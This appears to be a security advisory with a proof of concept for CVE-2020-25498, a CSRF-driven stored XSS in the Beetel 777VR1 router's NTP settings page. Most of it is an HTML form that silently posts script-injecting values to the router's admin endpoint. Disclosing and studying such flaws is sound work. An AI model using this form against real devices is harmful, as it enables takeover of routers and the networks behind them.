the-girl-who-lived/cve-2020-25498Stored XSS via CSRF in Beetel 777VR1 Router
It has been identified that the vulnerable endpoint doesn't have server side input validation and lacks client side filtering for any malicious script injection. An attacker can use this vulnerability to inject malicious script in the endpoint and the script is activated every time a user opens the vulnerable endpoint. Attacker can send a malicious URL with POST request payload to execute XSS in admin module via CSRF to take over the device and finally, to take over the network.
Researcher: Sayli Ambure (https://twitter.com/sayli_ambure)
MITRE CVE link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25498
CSRF HTML Code:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/form2ntp.cgi" method="POST">
<input type="hidden" name="ntpstate" value="Enable" />
<input type="hidden" name="ntpserver" value='google.com"><script>alert(1)</script>' />
<input type="hidden" name="ntpserver2" value='google.com"><script>alert(2)</script>' />
<input type="hidden" name="ntpinterval" value="1" />
<input type="hidden" name="ntptimezone" value="330" />
<input type="hidden" name="submit.htm?time.htm" value="Send" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Parameter: Server name
Parameter: Keyword
